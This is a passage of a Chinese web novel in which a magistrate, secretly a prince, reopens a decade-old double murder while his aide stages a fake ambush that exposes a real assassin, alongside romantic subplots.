吴怡一时不知道怎么回答,心想:是啊,自己又能了解周大人多少呢。“不过周大人,我知道你是好人就行了。” 周启又回头看着一排排架子,最终没有说什么。 过了良久,吴怡又忍不住问道:“周大人,我没听最近有什么杀人案啊?你干嘛大晚上找案卷啊?” “孙林死亡虽然是意外,但是我总是觉得他去庙里的事情没有这么简单。” “去庙里?” “住持说他妻儿死后在庙里呆坐良久,最终点了长明灯,可是一般情况下,如果一个人很在意的人死了,一定要找出凶手而不是到庙里去点什么长明灯。” “哦,那倒是。不过周大人,这都十几年了,师爷也死了,还有必要查吗?” “吴怡,若是李老四被人杀害,过了十几年都没找到凶手,你说要不要查查呢?” “那当然得查了!” “推己及人,我作为歙县县令,有了疑问都不去探究,那我这个县令白当了。” “周大人,你不仅是好人还是好官。”两个人你一言我一语,终于找齐了材料,远处鸡已经打鸣了,吴怡抬头看外边苍白一片。“周大人,你想吃混沌不?门口那家可好吃了。” “那你去买吧。”周启将所有材料放在桌子上,又见吴怡笑呵呵看着自己,便说道:“告诉他是周大人赊账,还碗的时候给他。” “哎,好嘞,嘿嘿。”吴怡就喜欢周启明白自己没钱的样子,“你等会哈。” 吴怡跑着去买馄饨,高高兴兴用托盘端着回来,“大人。”一进门见周启已经单手拖着头在椅子上睡着了。 吴怡将馄饨放在桌子上,“这么快睡着了?这馄饨可不能老这么泡着。” 吴怡来到周启身边打算叫醒他,一伸手见阳光洒进来金黄一片,周启的睫毛还是很长的,脸颊也白皙透亮,虽然熬了一夜,发丝却一丝不乱。 吴怡猫着腰仔细观察,安安静静的周大人就坐在她眼前,吴怡不自己向前一步,轻轻亲吻了周启的脸颊,一瞬间吴怡赶紧撤回来,再看周启见他还睡着,吴怡撒腿就跑。 此时周启缓缓睁开眼睛,见吴怡惊慌失措逃走,心内五味杂陈,没想到自己遇到了和娉婷一样的情况,爱情来得太晚,可能永远也没有结果。 周启收回眼光看着两碗糊涂,肚子突然饿得不行,周启小声说道:“怎么就跑了,难道不饿吗?”又转眼看着满桌的案卷,心想:孙林的案子得赶紧调查清楚才行。 “你为什么非得调查孙林的案子呢?他的死亡是意外,他妻儿的案子都过了十多年了,跟你到底有什么关系?”李博一听周启要重新调查孙林妻儿死亡的案子,实在无法理解。 “难道因为时间长了就当作什么也没有发生吗?那可是两条人命。” “可是十多年了,经过了三个知县都没办法调查清楚的事情,你想在两个月调查清楚吗?” 周启一听就生气了,“我知道了,你不是在想案子能不能调查清楚,而是觉得我若干了这件事却没有结果就不如不干,对不对?” “周大人,原本您当知府已经兴办学堂,剿灭马匪,半年的时间里这些政绩已经够亮眼了,先别说这案子能不能破,就算你精明强干破获了案件,谁在乎?再说了就是现在孙林死了,他妻儿也死了,这么多年也没有人再来提这个案子,真的有必要自己翻出来调查吗?” 周启十分生气,但是他明白李博说得,十几年的悬案,苦主都死了,自己还有不到两个月就回京了,况且因为娉婷的事情,自己现在还是待罪之身,若再弄出事端,的却于己不利。 “周大人。”张灵不知何时走了进来,她缓缓来到李博身边,开口道:“我觉得李大人说得没问题,虽然刺耳,但是的却百害而无一利。” 周启看了两人一眼,气冲冲出了房门,吴怡正站在院中帮娉婷擦秋千。周启来到秋千旁,生闷气不说话。 “怎么了?” 周启坐在秋千上,“我读圣贤书这么多年,做事还是权衡利弊,我就不明白,我读这么多书干什么,直接跟家里长辈学多好啊,连请先生的钱都省了。” “跟李大人吵架了吗?”吴怡见周启不说话,又说道:“你不是要调查师爷的案子吗?怎么了?他不同意。” 周启仍旧生闷气不说话,吴怡只好插科打诨道:“嘿,周大人你是大人,谁都得听你的,现在李大人不是师爷吗?他又没有你大。” 周启看着吴怡,长出了一口气,“若是所有事情都听长尊的,那倒是简单了,可以事情并非如此简单。” “周大人,你想干什么就去干,若是前怕狼后怕虎,那能干成什么呢。” “他们说孙林妻儿死了十几年了,调查也不一定能有进展,况且孙林都死了,他们家算是没人了,所以让我别再想了。” “可是你晚上不是说推己及人吗?周大人,若是我爹死了,我就算死也希望有人帮我爹找到凶手啊,否则我死都不能瞑目。” 第一百一十七章 李博布局“偷袭”周启 - 风吹繁花散落时 - 红酒羊排 周启听了吴怡的话,想起自己昨晚躺床上心中难安,最终大半夜爬起来去查卷宗,终于有了些头绪。 若为了自己得失便放弃了,那自己与那些为了一己之力徇私枉法的人有什么区别? 这么想着,周启再次回到书房,李博与张灵还站在书桌前,周启吩咐道:“本官决意调查孙林妻儿被杀案,”周启对着远离喊道:“何平,何平。” 和平赶紧跑过来,“小人在。” “李博,何平,案卷在桌上,我一定要调查清楚这件事,你们过来。” 周启余光看见李博还想说什么,便率先发话,“这是决定,不是商量。”说着周启来到卷宗旁,“无关人员请出去。” 张灵看了李博一眼,李博见已经无法挽回,不如先帮张灵消灭吴怡的威胁,便赶紧说道:“哦,我觉得现在与孙林比较熟的就是主持,要是有什么问题还需要张小姐去询问。” 周启看了一眼张灵,“那好吧,不过这是衙门的事情,注意保密。” “周大人放心,规矩我懂。” 周启觉得时间不多,客气话也不必说了。 “昨天我看了,十三年前七月十三日,孙林的妻子刘氏与儿子孙朝在家中被杀。当天下午邻居王婆婆,见刘氏一天没有出来,便来到刘家看看是不是有什么事情,结果一进门就见两人被杀,王婆婆赶紧报官。 仵作验尸显示两人均为钝器所杀,时间相差无几,因为胃里没有食物残留,所以两人应该刚起没多久,还没来得及吃早饭。 孩子被一击毙命,大人则被打得血肉模糊,最可怕的在于凶手还在刘家开火做饭,将所有银子都拿走了。” “刘家小门小户的,能有多少钱?”张灵对这种豁上性命只为一些小钱的行为实在无法理解,况且还杀死了妇女和儿童。这种人甚至比比那些劫道的土匪还要可恶。 李博说道:“也有伪装成劫财的杀人,先杀了人再拿走所有钱财,诱导办案方向也是有可能的。” “若是仇杀,他们孤儿寡母的会得罪谁呢?” 李博翻着卷宗,看到王婆婆的口供后还有一张死亡证明,“时间久了,连发现尸首的王婆婆都在四年后过世了,想查出来实在不容易。” 周启也发现了,“十三年前,刘氏与孙朝在家中被杀,因为是大早晨,邻居竟然没有一个人看到凶手的。十年前,上上任知县卫知州上任,重新调查了该案件,但是一无所获,五年前上任知县也调查了,依旧什么也没有查到。” 张灵突然说道:“那就奇怪了,孙林作为师爷,妻儿的案子被重新调查了,他肯定会全力以赴找到凶手,可是为什么他什么都没做,什么进展都没有呢?” “是啊。”周启眉头紧锁,这个孙林真是太奇怪了。“李博,你知道前三任知县后来的情况吗?他们在别的任上表现怎么样?” “哦,我查了,那三个全都是自己平庸,我觉得可能与孙林无关,因为他们去了别的任上也是政绩平平毫无建树。不过刘氏与孙朝被杀的时候担任知县的田守权,最开始任知县的时候政绩还算亮眼,甚至修葺过水利工程,就是在两人被杀的那年,他的考评突然从甲变成了丙。” “出了杀人案,考评一定会变低的。” “可是以后他全是丙,就是到了其他的县,也还是丙。” 张灵推测道:“会不会因为他以前是好官,但是不知道因为什么原因,导致他对官场有了别的看法。” 李博十分不看好这个案子能破:“会是什么原因呢?” “不行,我一定要去刘氏和孙朝被杀的地方看看。”周启说完就往外走去,李博与张灵跟在后边,周启只稍微转了一下身子,“你们不要来了,人太多我觉得不太好。” 张灵与李博愣了一下,倒是李博拦住了张灵。“你干嘛拦我?” “你没听他的吩咐吗?” “可是周大人一个人,万一出现危险呢?” “得了,自从当上县令再也没有讨厌的人在周围转悠了。” “什么意思?” 李博现在也是破罐子破摔,“以前有个影子一直在知府衙门周围,开始还挺厉害,后来被我们大人吓了两次就不敢动了,如今大人成了知县似乎与他主子无碍了他便消失不见了。” “你确定吗?” 李博看着张灵笑了起来,“怎么?还没有进门呢,就替大人担心起来了?” 张灵白了李博一眼,“现在可不是打趣的时候,我倒是想问问李大人,如今怎么让周大人与吴怡公开在一起?” “你就这么着急吗?” “哦我知道了,你想一个多月后就偷偷回京然后甩掉我?” “那怎么可能呢。现在周大人不是一个人出去了嘛,我们帮他制造点小麻烦,然后让吴怡去救他。” “要是弄巧成拙怎么办?若是周大人与吴怡生死与共了,我怎么办?” “放心吧,我和周大人从小长到大的,这么说吧,只要是皇上说的,他都一定会听的,而皇上最恨那些居功要挟的人。” “那就好,现在去办吧。” 李博笑了一下,“这么早就端上了皇子妃的架子?不过没关系,虽然觉得不可思议,还好我也被吩咐惯了,您瞧好吧。” 李博从书房出来,见吴怡正在院子里打扫枯枝烂叶,李博故作紧张地走到秋千旁边,吴怡还在旁边整理已经枯了的花草,李博原地转了两圈,吴怡终于主意到了李博,“李大人?” “哎呦,我该怎么办呢?哎呦。” “怎么了?”吴怡赶紧来到李博身边,“怎么了?” “我,我,哎呀,我真是不知道该不该说。” “你赶紧说呀,真是急死人。” “都是我不好,我刚才应该拦着周大人的,要是,你说要是他出了危险,我可怎么和他父母交代啊。” “出危险?什么危险?”吴怡抓着李博问道:“周大人怎么了?出什么危险?” “额。” “你赶紧说啊!” “好吧,我以为没什么事的,可是你想啊,周大人想调查十几年前的旧案,三个前知县都没有调查清楚,而且这个孙林还意外死了,我就在想,你说,你说要是仵作弄错了,孙林不是意外死的,而是有预谋的,那,哎呀周大人会不会有危险啊?” “那你赶紧去找他啊!” “他不让我跟着他呀,再说了我还要上报调查案件的情况,要不这案子可能无法再继续调查。” “那,那侍卫呢?” “侍卫?额,他们得巡逻啊,都出街了。” “那。”吴怡也着急了,李博赶紧建议道:“吴怡,吴怡,要不然你帮我把他找回来吧,他不是刚出去一会吗?你,你可以吗?” “可以啊,周大人去哪了?” “就是那天那个有何酒馆,再往西走,就在西街一百一十七号。” 吴怡听完赶紧扔下大剪子就往外跑,李博看着吴怡的背影,听见张灵缓缓走了过来,边想边说道:“你说这个女人是太蠢还是她也喜欢上周大人了?” 张灵看着空荡荡的门口,“那怎么办呢?” “唉,都怪我们周大人太有魅力了,张小姐,以后你若真的嫁入皇家,这样的情形也许每天都能看见。”李博再次看着张灵揶揄道:“这还是你想要的嘛?” 张灵呆呆站了半晌,若是还有更好的选择,嫁入皇家当然不是好的选择,可是若能选谁又愿意算计将来呢?张灵算是铁了心,这一次,这笔大生意她必须做成。李博则组织人手打算“袭击”周启。 “大人,什么意思?” “刚刚本官说的很清楚,你们也听得很明白。” “大人。”何平站了出来,“我等出京是为了保护五皇子,如今大人要我等做出如此行径,到底要置我等于何地?” “何大人,本官是五皇子的伴读,自然以五皇子的安全为先。不过诸位,你们是以五皇子的侍卫身份出京的,若是五皇子有失,你们自然罪责难逃,但是你们要明白,若是五皇子到了时候没有回京。”李博顿了顿环视了一下所有人,“你们所有人还能回京吗?” 何平还是不太明白,“五皇子为何不想回京了呢?” “唉,青春年少的,我这个伴读能说点什么呢?” “大人是说五皇子有了儿女私情?和谁?” “吴怡。” 所有人都惊呆了,“大人?” “本官开始也不敢相信啊,可是大人已经跟我说了,我说那皇上、皇后能答应吗?他说反正自己现在在徽州,皇上也是鞭长莫及啊。可是诸位,这普天之下莫非王土,率土之滨莫非王臣,就算五皇子离开了京城,甚至逃离了徽州,又能去哪?又能躲多久呢?” “大人,确定吗?” “你们也知道,六公主本来已经回京备嫁,但是五皇子不想妹妹远嫁便回京带走了六公主。你们也与京城多有联系,消息灵通的也应该知道宰相大人的人当街搜寻两人,要不是情况紧急,宰相大人怎么会做出如此冲动之事。 可是我们的五皇子毕竟天资聪颖,成功从京城脱身。宰相大人无法,只好写信给我让我主意五皇子动向,我虽然不想透露任何关于五皇子的消息,可是若是五皇子最终没能回京,我李博该如何面对宰相?又该如何对面皇上?又该如何面对家中长辈?唉。” 其实侍卫们都是大户人家出来的,知道宰相家丁当街搜人的也不再少数,只是不知搜寻谁,如今听李博这么一说倒是明白了。“李大人,那我们伤了吴怡,五皇子就能回京吗?” 李博见大家有所动摇,赶紧继续解释,“诸位,你们也跟着五皇子这么久了,本官最了解五皇子,他绝不愿意他人为了自己受到伤害,只要你们假装是京城来的,他定会回京的。” “大家蒙着面,如何知道哪里人士?” “哈哈哈,喊两句京片子不是很容易吗?毕竟在这南方,京城口音还是很容易分辨。” 第一百一十八章 周启为大家安排退路 - 风吹繁花散落时 - 红酒羊排 吴怡撒丫子跑,终于远远看见了周启。吴怡刚要喊,一个黑衣人冲了出来,周启听见风声向左一躲闪,黑衣人瞬间转圜身体,一剑在手上下飞舞。 周启左右躲闪,吴怡看准机会一下子从黑衣人撞上了他,周启见黑衣人踉跄两下,吴怡倒是摔在了地上。 周启刚想上来扶吴怡,黑衣人一剑划在周启胳膊上,吴怡要坐起来,见周启受伤大叫一声,“啊!”一下子冲进黑衣人怀里。 黑衣人的长剑无处伸展,向后退了几步便握着剑柄戳打吴怡的后背,周启四下找寻,幸亏是在小胡同中,周启抄起别人家立在外边的门口的扁担就往黑衣人身上砸去。 黑衣人虽然刺不到吴怡,但是宝剑依旧在手,向上一挡,扁担瞬间被砍掉一段。但是周启已经改变策略,一下一下打在黑衣人胳膊上,黑衣人还被吴怡紧紧抱着,脚下终于站不稳倒在地上。 此时又冲出来一队黑衣人,吴怡已经要爬起来了,周启见形势不妙,赶紧拉起吴怡就跑。 后来的黑衣人已经拿着佩刀冲了过来,为首的人吩咐道:“抓住!你们去追!” 黑衣人中的五人冲过来与第一个黑衣人打在了一起,毕竟第一个黑衣人一直倒在地上,后来的黑衣人居高临下逐渐控制了情形,一人上来将第一个黑衣人的蒙面扯下来,竟是张广! 张广见自己被擒自知死路便想一死了事,但是后来的黑衣人毕竟也是训练有素,一下子控制住了张广,将他押回了衙门。 另一队侍卫紧紧跟着周启与吴怡,两人在小巷中逃跑,吴怡体力渐渐不支。 侍卫们很快就要追上吴怡了,大家挥刀砍去,周启赤手空拳明知逃跑才是明智之举,可是吴怡在后有危险,周启已经顾不得其他只好停下来迎战。 侍卫们自然不会伤了周启,但是周启的暗卫可不知道是侍卫们佯装的刺客。 暗卫突然现身挡在周启与侍卫们中间,两厢人马打在一起,周启拉着吴怡已经逃脱。 两人气喘吁吁跑回县衙,一进门吴怡就瘫倒在地,娉婷正在秋山上,见两人冲进来便过来询问,“哥?你们怎么了?” “有刺客。”吴怡倒在地上上气不接下气地说道。 “刺客?来人呐,来人!”娉婷叫了半天,一个人都没有,“人都死哪去了!” 周启也觉得奇怪,“人哪去了?” 吴怡还坐在地上,“巡逻去了。” “巡逻?哪也不需要这么多人啊,有两个人就够了。” “啊?可是李大人说侍卫们巡逻去了,他去上边报告要重新调查师爷妻子被杀的事情,让我去救你。” 周启与娉婷对视一眼,“什么?李博叫你去救我?还说侍卫们都出去了?” “是啊,刚才好险。” 正在这时,押着张广去牢里的侍卫已经回来,全都一身黑衣,一进门场面瞬间尴尬了。 吴怡以为刺客进衙门里来了,吓得“啊”得一声站了起来,周启与娉婷倒是瞬间看清了来人。 “你们?” 侍卫们哪想着周启这时已经站在门口了,还以为还在与另一拨人在纠缠,所以想赶紧回来换衣服好去提审张广,可是一进门见周启、娉婷与吴怡都站在门口看着,大家赶紧跪在地上请罪。 娉婷知道哥哥必定要发火了,赶紧带着吴怡与李婶出门到庙里进香去。 一刻钟后,所有侍卫跪在院里,李博跪在了书房。周启双手插着腰在书房来回踱步,李博跪在地上大气也不敢出。 可是这么跪下去终究不是办法,李博心一横,“五皇子,整件事情是我的主意,与侍卫们无关。” “哼,你现在倒是讲义气了!你知不知道当街刺杀皇子是什么罪名?就算是当街刺杀知县,也是十恶不赦的大罪!” “我知道。” “你知道?”周启真的就差气死了,若不是他从小受到皇家教育,现在他就会给李博一脚,“成,你厉害,你多厉害呀!” “五皇子,我就是想吓唬吓唬吴怡,我没想到张广要刺杀你,我以为他已经不在周围活动了。” 李博愧疚异常,他甚至庆幸周启福有天佑,一个头磕在地上,“五皇子,千错万错都是臣的错,请您责罚。” “责罚?我若是追究,不仅你要被永远圈禁,就是他们全都满门抄斩!你担得起这个责任吗?” 李博双手撑着地将头抬起惊恐地看着周启,“五皇子,都是我的错,我愿意一力承担。” 周启忍着怒气,他从窗户看见所有侍卫跪在院中,原本二十一个人,如今除去在山东照顾李老四的两人,原本整整齐齐的两排人,如今少了两个。他们为了自己的安全曾披挂上阵剿灭土匪,也在小巷中护卫自己,甚至无数个日夜,三班人昼夜不停在衙门内外值守,周启怎么能将这些人满门抄斩呢? “你听好了,上报朝廷,我歙县县令周开调派人手以己为饵,再次捉得土匪同党。经查,这也是最后一个落网的土匪。参与围捕的衙役中六人受伤,幸得皇恩庇护,伤情无碍。” 李博知道周启是在给所有人找了一个好看又便宜的台阶,赶紧磕头谢恩。 周启又说道:“还有一件事,吴怡不过是府里的杂役,仅此而已。” “大人?” 周启抬头看了看天,他实在没时间想自己与吴怡的事情,“本官与小姐还没有收到回京的指令,只要一收到,本官定会遵旨而为,现在最重要的是要在娉婷成亲当天保住她的性命。” 李博已经直起了身子,小心翼翼说道:“可是皇上已经决定了,若是横加阻拦扰乱了皇上的计划,我怕……” 周启终于回身看着李博,“我有件事一直没有告诉你,我在西凉派了人手,但是他们没能对西凉王产生直接影响,娉婷还是会嫁入西凉。当我知道父皇的计划时,我已经改变了他们的目标,只要我大周与回纥的部队发起进攻,他们就会冲进西凉皇宫救下娉婷。” “救下了之后呢?西凉皇宫与边界还是有段距离,就算当时两国部队迅速占领西凉,公主如何逃出。” “我现在的确缺人手将她送到边界来,我还得再想想。” 李博突然一抱拳,“大人,我愿意作为公主的贴身侍卫进入西凉王宫,到时候就算是拼了我这条命,我也一定送公主到边界上。” 周启看了李博良久,最终拍了拍李博的肩膀,“你去叫侍卫们都起来吧,今天的事情只有我刚刚说的是真的,其他的,一个字都不能外传。” “谢五皇子!”李博再次一个头磕在地上,他不仅是在谢周启饶恕了他们,还在谢周启给了他一个恕罪的机会。无论如何,一个多月后他一定要护娉婷周全。 侍卫们得到赦免自然诚信感念,如今所有人都有了一个共同的秘密,自然更加团结尽忠。 再说这边的张广,原来自从周启不担任知府,张海觉得周启在政治上已经完了。毕竟一个勤勤恳恳的知府突然被莫名其妙降至,还是一抹到底,肯定是得罪人了。 张海甚至觉得得意洋洋,他猜测周大人最有可能得罪的就是三皇子,而如今三皇子在皇上面前炙手可热,不知用了什么手段居然能将刚刚上任半年多的知府给弄下去了。 这天张海心情大好,他觉得已经没必要与周启较劲,接下来他打算改变策略榜上张灵这位大小姐。 而张广见张海悉心打扮自己,揶揄道:“我们好歹是三皇子门人,现在倒要出卖色相了吗?” “切,要是出卖色相就能换来锦绣前程,我早卖多次了。” “我们真是越来越没品了。不过我之前跟着周开,他倒是像大户人家,气度也好,你该学学。” “胡说,之前余年派人到京城看了,说他家就是小门小户的,家里只有一个老管家。” 张广坐在椅子上突然警觉起来,“余年真的这么说?” “是啊,怎么了?” “那就怪了。” 张海终于不再倒腾自己,看着张广问道:“什么?” “你觉得怪不怪,周开来的时候带来一个管家,二十一个侍卫。我可跟你说啊,这些侍卫可不一般,全都经过训练,平时我看他们值守也是秩序井然,不像小门小户出来的。还有啊,之前他府里有个杂役欠了钱家一万两银子,没经过人家同意就捐给学堂了,人家钱家不干了,是周开自己掏钱还给了钱家。” “你说什么?” “你也觉得奇怪了吧?想他周开,一个知县,就算是知府,一年俸禄才有多少?他居然能一下子掏出一万两银子,你说他是小门小户出来的,怎么可能?” “不是,之前你说谁捐了一万两银子?” “他家的衙役,叫吴怡的吧,对叫吴怡。” 张海简直定在了原地,“她是杂役?” “是啊,最开始在知府衙门当杂役,后来在钱家当丫鬟,现在又在知县衙门当杂役。怎么了?” 张海像被人打了一拳,过了良久才说道:“哼哼,没想到啊,这徽州城还真是跟我过不去!可是我张海就是这么容易挨骗吗?” 第一百一十九章 张海暴露 - 风吹繁花散落时 - 红酒羊排 张海发现自己被吴怡骗了,周启的身份也实在可疑。“一不做二不休。” “之前我几次三番想置他于死地都没有成功,如今恐怕也难有进展。” “你不在他周围转悠了,他的保卫势必松懈,就今天,只要他从衙门出来,你就做掉他以绝后患。” “那个吴怡呢?” 张海想起之前自己傻乎乎以为吴怡是张灵,还打扮了大半天打算去当张家女婿简直蠢得要命,对吴怡心生厌恶,“若是挡路,一个不留。” 张广得令再次在县衙周围转悠,谁知周启一个人走出来,后边一个人也没有跟。 张广觉得是天赐良机,观察一番,一下子猜到周启是在调查孙林死亡案,他便当街行刺。 谁知吴怡冲了出来破坏了他的计划,后来的事情更是让他措手不及,冲出来的一大队黑衣人竟是周启的侍卫。 张广以为自己也与二愣子一样落入了周启的圈套,虽然明知死路,对周启能洞察先机巧妙设局还是佩服的。 张广被扔进大牢,一心等死,过了足有两个时辰李博才现身。 “今天我栽在你们手上,要杀便杀,我没什么好说的。” “我现在就能让你死。” “你有这么好心?” “哈哈哈。”李博坐在椅子上身体前倾与张广面对面,“你知道我要知道什么?” “你还是别做梦了。” “你觉得自己够硬气是吧?可是你都被逮捕了,你的背后之人呢?那个张海天天想混在徽商里,和个乞丐一样。” 张广瞪着李博说道:“李大人身份钦差,又是清和郡主的长子,天天给一个小知县跑腿,是有什么猫腻吗?” “有什么猫腻你不知道吗?” “哈哈哈哈,坊间传闻李大人有龙阳之好,不知道清河郡主作何感想?” 李博听后笑了起来,因为张广看似气人的话却侧面证明了他们并不知道周启的身份,还以为自己才是这些人中最重要的人。“哈哈哈哈……” 李博的笑声让张广觉得有点瘆得慌,“你,你……” 李博一下子拍在张广的肩膀上,“行了小子,该说的话我已经说完了,现在招工还来得及。” 张广也不知道李博说什么了,似乎什么都没说,可是两人反正也没什么可说的。 李博见张广已经打定主意,便自行离开,等待张广的就是各种刑具,但是张广一言不发。 周启似乎早就想到了这种情况,他吩咐人将张广移交给了知府衙门。 张广被打得浑身是伤,奄奄一息之时,忽听旁边牢室有人叫他,张广缓缓睁开眼睛,见旁边还有一人浑身脏兮兮,脸上已经黑的不成样子,张广虚弱地说:“你,你不是二愣子吗?” “看来你也被周启抓进来了。” “周启?” “是啊,难道你不知道吗?就是你们口中的周大人,我一直以为你知道呢。” 张广艰难爬了起来,勉强支撑着身体,“知道什么?周启是,等等,周启……”张广可是三皇子门人,初听周启的名讳就觉得耳熟,一下子想起来这就是五皇子的名讳,张广不可思议地看着二愣子,“你说……” “哈哈哈,看来你也知道嘛。”二愣子躺靠在牢房的木头上,“我们尊贵的皇子大人来当知府,哈哈哈哈,糊弄谁呢?不过是政治游戏,哈哈哈哈。” “怪不得,怪不得。”张广一下子想通了周启身上发生的不同寻常的事情,一个知府的确不需要二十几名侍卫,但是五皇子需要,而且有上万两银子,怪不得李博都为他所用,根本就不是什么断袖之癖,根本就是因为李博是周启的伴读,“哈哈哈,哈哈哈哈。” “怎么了?知道得罪了大人物,后悔了?” “的确是政治游戏啊,哈哈哈哈。哎,二愣子?” “嗯?” “你怎么认识五皇子?” “哼,反正都要死的人了,跟你说也没什么。我以前去京城想杀了何启年,被他坏了好事,后来没机会动手了,我就到徽州当了土匪。我以为上天终于开眼了,能给我一个为全家报仇的机会,谁知道老子还是败在他手里。”二愣子头也不回问道:“你呢?” “我?”张广苦笑道,也不知道自己为了什么,他之前一直以为自己为了仕途,可是今天发现周启竟是五皇子,他觉得自己不过是一个参与了皇子争斗的小人物,牺牲品,根本没有什么仕途。 “怎么?不好说吗?” “反正都要死了,知不知道又有什么用呢?” 二愣子点了点头,“那倒也是。” 不管张广有没有说自己的背后之人,站在角落的周启都有了判断。他与李博回到县衙,分析道:“张广虽然没有说他背后的主子是谁,但是他通过一个名字就猜到我是五皇子,知道皇子名讳的可不多啊。” “这么说他是京城来的?” “很有可能。” “京城来的,张海肯定是为了徽商,张广却一直和你过不去,和余年勾结,那就是为了官场,又想要钱又想要权的就很少了。” 周启冷笑一声。 “怎么了?” “在京城,谁不是既想要钱又想要权,大海捞针一样。这样,还是继续在张海身上调查一下吧。” “那倒也成,我听说他今天有货要出城,要不要?”李博邪佞一笑,周启瞬间懂了。 两人来到城门口,指挥守卫拦下了张海的货物。 张海见张广迟迟不归知道出事了,小厮们又来报说货物被周大人给扣下了,张海心知不好,赶紧赶到城门口。 “李大人,周大人。”张海一抱拳,笑着应承道:“小民这批货是经过检查的,有官府派发的文书。” 说着,张海接过伙计递过来的文书,打算呈给周启,周启才懒得接呢,他看也不看便说道:“本官觉得这货有问题,需要打开看看。” “大人,这城门就要关了,要是都打开恐怕无法赶得及出城了。” “本官只管确保出城货物没有违禁,来人,打开!”周启一声令下,城门衙役就要上来拆货。 “周大人。” “无关人员滚一边去。” 张海见货物已经被打开,反正也来不及出城,干脆打起了嘴仗。“周大人,人说官长架子大,没想到速来明理的周知府变成了知县,脾气倒是大了起来。” “哈哈哈。”周启看着已经被拆得满地都是的货物笑了起来,最后看着张海说道:“你信不信,本官若不做这知县了,脾气会更大的!” 周启看张海瘪了瘪嘴想说话,便抢先道:“哦对了,之前与你一同来徽州的那个张广,勾结土匪,已经被本官拿下了。” 张海心里一沉,最坏的情形出现了,他刚想撇清关系,就听周启又说道;“不过啊,之前是本官误会了,本官一直以为躲在他身后的是你张老板,原来他竟是京城达官显贵的狗,差点咬着张老板,真是不好意思了。” 周启笑着说完这番话,也不等张海再说什么,便对着衙役吩咐道:“都给我查仔细了,一件件拿出来看。” 张海见衙役们十分粗鲁,甚至将丝绸、布匹一一展开,张海忍着怒气问道:“周大人,你的手下觉得这布匹里能藏什么?” 周启今天就是来找茬的,找个理由还不容易吗,“不查查怎么能知道呢?” “你!”正在张海要发作之时,李博站在了张海与周启中间与周启耳语两句,周启回身看不远处墙角,吴怡正躲在那里朝着自己招手。 周启知道李博自会找张海麻烦,便放下张海径直来到吴怡身边。“怎么了?鬼鬼祟祟的,躲这干嘛呢?” “嘘,小声点,别叫那个人看见我。” 周启回身去看,“谁啊?” “那个张老板。” “你怕他干什么?” “嘘,他一直以为我是张灵小姐,还非要跟我做生意。” “哈哈,骗人骗多了,小鬼找上来了吧?” “嘿,周大人,最开始可是你让我假扮张小姐的,你忘了?现在都来怪我。” “成成成,那你也不用怕他啊。” “我跟你说啊,那个人说他认识皇子,我可不敢招惹他,否则……”吴怡在自己脖子上做了一个砍头的动作。 “认识皇子?什么皇子?”周启瞬间紧张起来。 “你看你也怕了吧?” “哎呀你赶紧说啊,几皇子?” “我也不知道。” 周启知道吴怡向来糊里糊涂,赶紧追问道:“这样,你把他怎么说的重新复述一遍。” “怎么说的。”吴怡低着头想了想,“哦,他说他背后有通天之人。” “哎呀通天之人多了,你能别瞎说吗?吓我一跳。” “我没瞎说,还有呢,我说你背后是皇帝老子?他说差不多,差不多。我说那是皇帝的儿子?他就这样。”吴怡学着张海的笑容,“这样笑了,然后就走了。所以你说他是不是认识皇子?我没瞎说。” 周启心里一紧,他最不愿意有人是因为皇子指派来做这种杀人夺利的买卖,他转身看着张海,小声嘀咕道:“认识皇子。” 吴怡站在他身后终于想起来,“对了周大人,小姐在家里哭呢,李婶叫我来找你。” “她又怎么了?” “我们不是去进香嘛,她在庙里碰见了陈记的少东家。” 第一百二十章 周娉婷再见陈明阳 - 风吹繁花散落时 - 红酒羊排 李博带着侍卫们“偷袭”周启被周启当场识破,娉婷为了防止李婶和吴怡在府中看见哥哥发脾气,便带着李婶与吴怡一同前往庙里进香。 庙中,李婶与吴怡真心拜佛,娉婷不过闲逛。她刚来到后院,竟见陈明阳从里边出来。“陈明阳?” “娉婷。” 两人见面,恍如隔世。 “我来进香的。”娉婷强忍着,最终还是说了一句无关痛痒的话。 “哦,我来,我来给爷爷点盏长明灯。” “爷爷怎么了?” 陈明阳眼神黯淡,最终低着头长叹了一口气,“入冬以来就不太好,大夫说恐怕不中用了。我爹说点盏长明灯,若得佛祖庇佑,也许还能挺过去。” 娉婷已经泪水打眼眶,两人呆立良久,娉婷最终说道:“若是老人家还有什么心愿,要尽快达成才行。” 陈明阳也是红着眼眶,他抬头看了娉婷半晌,几经思索最终还是开了口,“爷爷一直念叨着你,总是问我周家小姐怎么不来。”说着陈明阳哭了出来,“娉婷,我知道我不该这么说,可是,可是爷爷他……” 娉婷也是哭了出来,“若是,若这是爷爷最后的心愿,我倒是可以去看看他。本来我一直想去看看他,就是不知道,不知道合不合适。” “娉婷。”陈明阳情难自已,他对娉婷的愧疚,对爷爷的不舍一下子涌上心头,无力之感蔓延全身,最终蹲在地上呜呜哭了起来。娉婷看着心疼,走过来也蹲在地上,两人抱在一起哭了起来。 此时李婶与吴怡完成了虔诚的拜佛仪式来到后院找娉婷,被眼前的景象惊呆了。两人对视一眼,赶紧来到娉婷身边,“小姐,小姐你没事吧?” 娉婷听见有人来了,觉得这样的确不成体统,她与陈明阳稍微整理心情一同站了起来。 娉婷擦着眼泪说道:“陈明阳,爷爷待我很好,如今他身子不好了,我理应去看看,我们走吧。” “小姐?” 娉婷心意已决,便吩咐道:“你们两个回去吧,我去去就回。” 吴怡还想说些什么,李婶一拉吴怡,“那小姐,我们就先回去了。”李婶又对陈明阳说道:“少东家,麻烦您之后将我们小姐送回来可好?” “哦,那是自然。”陈明阳没想到娉婷愿意帮忙,自然赶紧答应。 李婶拉着吴怡回衙门,侍卫们除去巡逻的其余人都呆在自己的房间冷静,李婶带着吴怡做饭,见院子里静悄悄知道出事,也不多言。 吴怡站在门前向院子里张望,“李婶,你说周大人是不是有点厉害?” 李婶手上干活,也不看吴怡便说道:“吴怡,咱们大人不一般,咱们做下人的也好做。” “我也觉得他不一般,这么多人都听他的。” “哈哈,吴怡啊,若是他发达了,大家自然愿意跟着他,那是为了自己的以后打算。如今他落拓了,大家还愿意跟着他,那就是他不一般。这不,你不也在这?” “那是我欠人家银子,我没办法啊。” “反正我啊就跟着周大人了,以后不管他当什么官,就算他不当官了,我也愿意跟着他,伺候他一辈子。” 吴怡将头靠在门上,外边太阳西斜,一天快过去了。 吴怡的心事不断蔓延开来,她又想起昨天周启坐在椅子上安安静静睡着,睫毛长长的,阳光洒进屋子感觉暖暖的,她还偷亲了周启,吴怡倚着门笑了起来。 “吴怡,别傻站着了,快过来生火。” 